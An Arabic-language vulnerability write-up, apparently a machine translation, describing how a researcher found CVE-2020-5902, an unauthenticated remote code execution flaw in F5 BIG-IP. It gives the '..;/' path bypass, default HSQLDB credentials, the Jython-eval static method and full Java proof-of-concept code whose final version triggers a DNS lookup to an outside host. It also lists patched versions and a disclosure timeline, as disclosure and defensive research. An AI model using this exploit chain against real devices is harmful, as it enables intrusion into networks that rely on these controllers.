الانهيار: كيف وجدنا ثغرة أمنية في RCE في وحدة التحكم في تسليم تطبيق F5 Big-IP





BIG-IP من F5 هي وحدة تحكم تسليم تطبيقات شائعة تستخدمها أكبر الشركات في العالم. أثناء التحليل الأمني ​​لهذا المنتج ، تمكنا من العثور على الثغرة الخطيرة CVE-2020-5902. يسمح هذا الخلل الأمني ​​للمهاجم بتنفيذ الأوامر نيابة عن مستخدم غير مصرح له وإخلال النظام بالكامل ، مثل اعتراض حركة مرور موارد الويب التي يتحكم فيها المتحكم.



وفقًا لبياناتنا ، في يونيو 2020 ، كان من الممكن الوصول من الإنترنت إلى 8 آلاف جهاز يحتوي على ثغرة CVE-2020-5902. تحليلها مفصل في مقالتنا الجديدة.



ما المشكلة



BIG-IP من F5 هي وحدة تحكم تسليم تطبيقات شائعة تستخدمها أكبر الشركات في العالم. تم تصنيف الثغرة الأمنية CVE-2020-5902 في المرتبة 10 على مقياس CVSS - أعلى مستوى خطورة.



قد تسمح الثغرة الأمنية للمهاجم عن بُعد ، بما في ذلك المهاجم غير المصادق الذي لديه إمكانية الوصول إلى الأداة المساعدة لتكوين BIG-IP ، بتنفيذ تعليمات برمجية عشوائية في البرنامج (تنفيذ التعليمات البرمجية عن بُعد ، RCE). نتيجةً لذلك ، سيتمكن المهاجم من إنشاء الملفات أو حذفها ، وتعطيل الخدمات ، واعتراض المعلومات ، وتنفيذ أوامر النظام التعسفي ورمز Java التعسفي ، وتعريض النظام للخطر تمامًا وتطوير هجوم ، على سبيل المثال ، على قطاع شبكة داخلية.



ينتج عن مجموعة من العيوب الأمنية في مكونات النظام المتعددة (على سبيل المثال ، الدليل خارج الحدود) RCE. الشركات التي يمكن العثور فيها على واجهة الويب F5 BIG-IP في محركات البحث الخاصة ، مثل Shodan ، معرضة لخطر خاص ، ولكن تجدر الإشارة إلى أن الواجهة المطلوبة لا يمكن الوصول إليها من الشبكة العالمية من قبل جميع شركات المستخدمين.



أثناء مراقبة التهديدات الفعلية (التهديد ذكاء) ، اكتشفنا أنه في نهاية يونيو 2020 ، كان هناك أكثر من 8 آلاف جهاز ضعيف متاح من الإنترنت في العالم ، منها 40٪ في الولايات المتحدة ، و 16٪ في الصين ، و 3٪ في تايوان ، و 2.5٪ لكل منها. في كندا وإندونيسيا. تم اكتشاف أقل من 1٪ من الأجهزة المعرضة للخطر في روسيا.



الآن دعنا ننتقل إلى قصة كيف تمكنا من العثور على CVE-2020-5902.



أبحث عن أخطاء تكوين خادم الويب



دعنا نثبِّت F5 Big-IP على جهازك الافتراضي ، ونحصل على إمكانية الوصول إلى غلاف الأوامر الخاص به:







واجهة سطر أوامر F5 Big-IP



. أول شيء يجب القيام به لبدء البحث هو إلقاء نظرة على جميع المنافذ المفتوحة والتطبيقات التي تستخدمها. سيحدد هذا جميع نقاط الدخول المحتملة إلى النظام. للقيام بذلك ، نستخدم الأمر netstat:







العثور على منافذ مفتوحة على الجهاز



أحب تحليل تطبيقات الويب ، لذلك دعونا نبدأ في تحليل تكوين خادم httpd الذي يستمع على المنفذ 443 / tcp.



الملف الأكثر إثارة للاهتمام من تكوينه هو "/etc/httpd/conf.d/proxy_ajp.conf":



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


محتويات الملف /etc/httpd/conf.d/proxy_ajp.conf يقوم



هذا الملف بتهيئة Apache بحيث ينقل الطلبات إلى Apache Tomcat على المنفذ المحلي 8009 / tcp من خلال بروتوكول AJP ، ولكن فقط إذا كانت هذه الطلبات تطابق واحدًا من التعبيرات النمطية المحددة.







العثور على الاستماع التطبيق على ميناء 8009 / برنامج التعاون الفني



ومن المهم هنا الإشارة إلى البرتقالي تساي الأبحاث حول كيفية جعل الخوادم بالسلاسل التعامل مع عناوين مختلفة. على وجه الخصوص ، بالنسبة لحزمة Apache HTTP Server و Apache Tomcat ، يمكننا اختبار تسلسل الأحرف ".. ؛ /":







شريحة عرض Orange Tsai



وفقًا لهذه الدراسة ، سيقوم خادم Apache HTTP بتحليل التسلسل كاسم مجلد صالح ، بينما يعتقد Apache Tomcat أن هذه المجموعة تشير إلى الانتقال إلى الدليل السابق.



لفهم ما إذا كانت هذه الطريقة ستنجح ، تحتاج إلى الحصول على المسار إلى إحدى نقاط نهاية Tomcat المخفية في ملف التكوين:




<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>


جزء من ملف التكوين /usr/local/www/tmui/WEB-INF/web.xml



يجب ألا يتطابق المسار /tiles/tmui/em_filter.jsp مع التعبيرات العادية في ملف proxy_ajp.conf ، لذلك نقوم باختبار:







اختبار تقنية Orange Tsai



طلب عادي يعيد رمز 404 ، ويعيد طلب باستخدام تقنية Orange Tsai رمز 200. وبالتالي ، يمكننا الآن الوصول إلى أي صفحات على خادم Apache Tomcat الداخلي للجهاز قيد التحقيق.



ابحث عن نقاط نهاية Tomcat الضعيفة



دعنا نفحص تكوين خادم Apache Tomcat ، ونحاول إيجاد نقاط نهاية ضعيفة فيه.



استخدمنا المسار /tiles/tmui/em_filter.jsp سابقًا ، ولكن دعنا الآن نحاول العثور على شيء أكثر فائدة:


    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>


جزء من الملف /usr/local/www/tmui/WEB-INF/web.xml



تم لفت انتباهي إلى المسار "/ hsqldb /" ، الذي تتم معالجته بواسطة فئة org.hsqldb.Servlet. يشير الاختصار HSQLDB إلى Hyper SQL Database ومسارها / hsqldb / مسؤول عن توفير الوصول إلى قاعدة البيانات نفسها.



دعنا







نتحقق مما إذا كان يمكن استخدام أسلوبنا للوصول إلى هذا المسار: التحقق من توفر HSQLDB



وبالتالي ، تمكنا من تجاوز التفويض والوصول إلى HSQLDB. يحتوي موقع HSQLDB الرسمي على دليل حول كيفية الاتصال بقاعدة البيانات عبر HTTP ، ويوضح أنه يمكنك استخدام برنامج تشغيل Java خاص للاتصال بقاعدة البيانات عبر HTTP. وللاتصال ، تحتاج إلى معرفة تسجيل الدخول وكلمة المرور لقاعدة البيانات.



دعنا نستخدم "التقنية الذهبية" المسماة "بحث Google" والعثور على أسماء المستخدمين وكلمات المرور الافتراضية لـ HSQLDB:







يعرض Google لك اسم المستخدم وكلمة المرور الافتراضيين مباشرة على صفحة البحث



الآن اكتب إثبات المفهوم في Java لاختبار افتراضنا أن برنامج تشغيل HSQLDB يمكنه العمل مع بيانات تسجيل الدخول الافتراضية التالية:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


رمز PoC للاتصال بـ HSQLDB وطلب قائمة بمستخدمي HSQLDB







نتيجة تنفيذ كود PoC المحدد



تم تنفيذ الكود وإزالة المستخدم الأول من الجدول ، مما يعني أنه يمكننا الآن تنفيذ استعلامات SQL عشوائية دون أي مصادقة في F5 Big- IP.



استكشاف نقطة نهاية HSQLDB



قضيت بعض الوقت في توثيق HSQLDB واستقرت على بيان CALL - يمكن استخدامه لتنفيذ الإجراءات المخزنة ، بما في ذلك أي طرق Java ثابتة في مسار فئة HSQLDB.



دعنا نحصل على مسار الفصل من HSQLDB:



الطلب: اتصل بـ "java.lang.System.getProperty" ('java.class.path')

استجابة: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / classes "


هذا هو بالضبط نفس المسار مثل خادم Apache Tomcat.



نحتاج الآن إلى إيجاد أي طريقة ثابتة تسمح بتنفيذ التعليمات البرمجية عن بُعد. بعد بحث قصير في ملف tmui.jar في فئة com.f5.view.web.pagedefinition.shuffler.Scripting ، وجدت طريقة setRequestContext:



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


محاولة استدعاء هذه الطريقة ببيانات عشوائية:



الطلب: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa'، 'bb')

Response: "NameError: aa__bb"،


نرى أننا دخلنا في سياق تنفيذ كود Python ، وقمنا بتمرير البيانات الخاطئة.



دعنا نحاول استيراد وحدة "os" واستدعاء وظيفة النظام:



الطلب: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #'، '# 11')

رد: "ImportError: لا توجد وحدة تسمى javaos"


ابحث في محرك بحث Google عن الخطأ واكتشف أن هذا هو السلوك المعتاد في لغة جايثون.



نحاول تنفيذ الأمر بطريقة مختلفة:



الطلب: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #'، '#')

الرد: فارغ




لقد حصلنا على فارغة من هذا الطلب ، والذي يخبرنا عن التنفيذ الناجح للأمر. الآن ، دعنا نجمع كود PoC النهائي الذي سيرسل طلب DNS إذا كان الخادم ضعيفًا:



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


وسوف نحصل على RCE في F5 Big-IP الخاص بنا ، باستخدام أوامر للقذيفة العكسية:







الوصول إلى F5 Big-IP من خلال سلسلة نقاط الضعف المكتشفة



ملخص



حصلنا على RCE من مستخدم غير مصرح له في ثلاث خطوات سهلة:



  1. تم العثور على خطأ في Apache HTTP Server وتهيئة Apache Tomcat
  2. استخدم كلمة المرور الافتراضية لـ HSQLDB
  3. تم استخدام طرق ثابتة غير واضحة في كود مكتبة F5 Big-IP


كيف تحمي نفسك



لإصلاح الثغرة الأمنية ، يجب عليك تحديث النظام إلى أحدث إصدار: يجب استبدال إصدارات BIG-IP الضعيفة (11.6.x ، 12.1.x ، 13.1.x ، 14.1.x ، 15.0.x ، 15.1.x) بالإصدارات التي تم إصلاح الثغرة الأمنية فيها ( BIG-IP 11.6.5.2 ، 12.1.5.2 ، 13.1.3.4 ، 14.1.2.6 ، 15.1.0.4). بالنسبة لمستخدمي الأسواق السحابية العامة (AWS و Azure و GCP و Alibaba) ، يجب عليك استخدام BIG-IP Virtual Edition (VE) 11.6.5.2 أو 12.1.5.2 أو 13.1.3.4 أو 14.1.2.6 أو 15.1.0.4) ، بشرط توفرها في هذه الأسواق. يتم توفير مزيد من الإرشادات في إشعار F5 BIG-IP .



المؤلف : ميخائيل كليوشنيكوف (@ __mn1__ ) ، ايجابية تكنولوجيز



الجدول الزمني:



  • 1 أبريل 2020 - تم إرسال الثغرات الأمنية إلى شبكات F5
  • 3 أبريل 2020 - تمكن فريق F5 من إعادة إنتاج الثغرات الأمنية
  • 1 July, 2020 — Security Advisory



All Articles